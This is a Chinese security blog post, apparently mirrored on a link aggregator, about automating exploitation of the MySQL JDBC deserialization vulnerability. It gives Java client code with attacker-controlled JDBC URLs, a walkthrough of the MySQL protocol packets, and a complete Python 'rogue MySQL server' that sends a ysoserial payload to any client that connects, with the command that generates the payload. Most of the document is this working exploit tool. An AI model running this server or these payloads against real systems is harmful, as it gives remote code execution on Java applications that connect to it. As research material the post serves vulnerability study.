java jdbc 反序列漏洞的自动化利用
source link: https://www.landgrey.me/blog/11/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
java jdbc 反序列漏洞的自动化利用
BlackHat Europe 2019
的议题《New Exploit Technique In Java Deserialization Attack》中提到了通过控制 JDBC URL 利用 mysql-connector-java
组件进行反序列化攻击的方法。漏洞原理分析可见参考文章,不多赘述。
本文主要就已经披露的 java jdbc 反序列漏洞的一个利用方法,分析了相应的 mysql 连接协议并编写了简单的漏洞自动化利用脚本。
0x00:主要思路
- 搭建真实环境,wireshark 抓取漏洞触发时的数据包;
- 结合 mysql 协议,分析并理解客户端和服务端交互时各个数据包的含义;
- 利用 socket 发包程序模拟 mysql server,并找到反序列化数据在整个交互过程中的位置;
- 将反序列化数据块单独剥离出来,达到可以随意替换反序列化 poc 而不用再改程序的效果;
0x01:选择触发点
对于新的反序列化漏洞利用攻击面,触发点可能不止一处,尽量选取复现步骤完整、稳定利用的触发点。这里选择了 参考文章1 中的方法,通过控制SQL查询 SHOW SESSION STATUS
返回结果进行反序列化利用的触发点。
0x02:测试代码
java 代码
- mysql-connector-java 5.x
import java.sql.*;
public class MysqlJdbcTest {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String user = "root";
String password = "ubuntu";
String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, user, password);
}
}
- mysql-connector-java 8.x
import java.sql.*;
public class MysqlJdbcTest {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String user = "root";
String password = "ubuntu";
String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, user, password);
}
}
pom.xml 依赖
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
<!--<version>5.1.47</version>-->
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
0x03: 抓数据包分析
搭建真实环境,抓取漏洞利用成功时交互的数据包:
MySQL客户端与服务器的交互主要分为两个阶段:握手认证阶段和命令执行阶段。
一:握手认证阶段
握手认证阶段为客户端与服务器建立连接后进行,交互过程如下:
- 服务器 -> 客户端:握手初始化消息
- 客户端 -> 服务器:登陆认证消息
- 服务器 -> 客户端:认证结果消息
二:命令执行阶段
客户端认证成功后,会进入命令执行阶段,交互过程如下:
- 客户端 -> 服务器:执行命令消息
- 服务器 -> 客户端:命令执行结果
三:数据传输格式
主要关注 服务端 -> 客户端 的数据包,其基本格式如下:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data_length | sequence_id | data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 3 bytes | 1 bytes | N bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
对应解释:
类型 含义 字节数 描述 data_length 具体数据长度 3 具体数据包的长度,从去除头部4个字节后开始的内容 sequence_id 包序列id 1 每个包的序列id,总数据内容大于16MB时使用,从0开始递增1,新命令执行重载为0 data 具体数据 N 除去头部后的具体数据内容这里需要注意的一点是: mysql 通信协议使用小端序列进行传输。例如,当传输的 data_length
为 3627
(0x0e2b
)个字节时,传输数据时的排列顺序为 0x2b0e
四:提取 mysql 协议数据
如下图,复制服务端响应包的 hex 值,然后去除前 108 位字符 (54字节TCP包头),剩余的就是 mysql 协议内容
五:剥离反序列化数据
根据前文可知反序列化数据在客户端查询 SHOW SESSION STATUS
的结果中。如下图,找到并复制响应包,直接比对数据,定位到具体数据内容,而后根据内容长度,用小端序列返回即可。
触发方式:
- mysql-connector-java 5.x
String driver = "com.mysql.jdbc.Driver";
String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
- mysql-connector-java 8.x
String driver = "com.mysql.cj.jdbc.Driver";
String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
通用脚本 rogue-mysql-server.py
如下:
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
import os
import socket
import binascii
def server_send(conn, payload):
global count
count += 1
print("[*] Package order: {}, Send: {}".format(count, payload))
conn.send(binascii.a2b_hex(payload))
def server_receive(conn):
global count, BUFFER_SIZE
count += 1
data = conn.recv(BUFFER_SIZE)
print("[*] Package order: {}, Receive: {}".format(count, data))
return str(data).lower()
def run_mysql_server():
global count, deserialization_payload
while True:
count = 0
conn, addr = server_socks.accept()
print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
server_send(conn, greeting)
if os.path.isfile(deserialization_file):
with open(deserialization_file, 'rb') as _f:
deserialization_payload = binascii.b2a_hex(_f.read())
while True:
# client auth
server_receive(conn)
server_send(conn, response_ok)
# client query
data = server_receive(conn)
if "session.auto_increment_increment" in data:
_payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
server_send(conn, _payload)
data = server_receive(conn)
if "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
server_send(conn, _payload)
data = server_receive(conn)
if "set names" in data:
server_send(conn, response_ok)
data = server_receive(conn)
if "set character_set_results" in data:
server_send(conn, response_ok)
data = server_receive(conn)
if "show session status" in data:
_data = '0100000102'
_data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
_data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
_payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
_payload_length = _payload_hex[2:4] + _payload_hex[0:2]
_data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
_data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
_data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
_data += '07000005fe000022000100'
server_send(conn, _data)
data = server_receive(conn)
if "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
server_send(conn, _payload)
break
try:
conn.close()
except Exception as e:
pass
if __name__ == "__main__":
HOST = "0.0.0.0"
PORT = 3306
deserialization_file = r'payload.ser'
if os.path.isfile(deserialization_file):
with open(deserialization_file, 'rb') as f:
deserialization_payload = binascii.b2a_hex(f.read())
else:
deserialization_payload = 'aced****(your deserialized hex data)'
count = 0
BUFFER_SIZE = 1024
response_ok = '0700000200000002000000'
print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socks.bind((HOST, PORT))
server_socks.listen(1)
run_mysql_server()
使用时,直接生成反序列化载荷文件 payload.ser
,如:
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
并和本程序放在同一个目录下即可
参考文章:
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK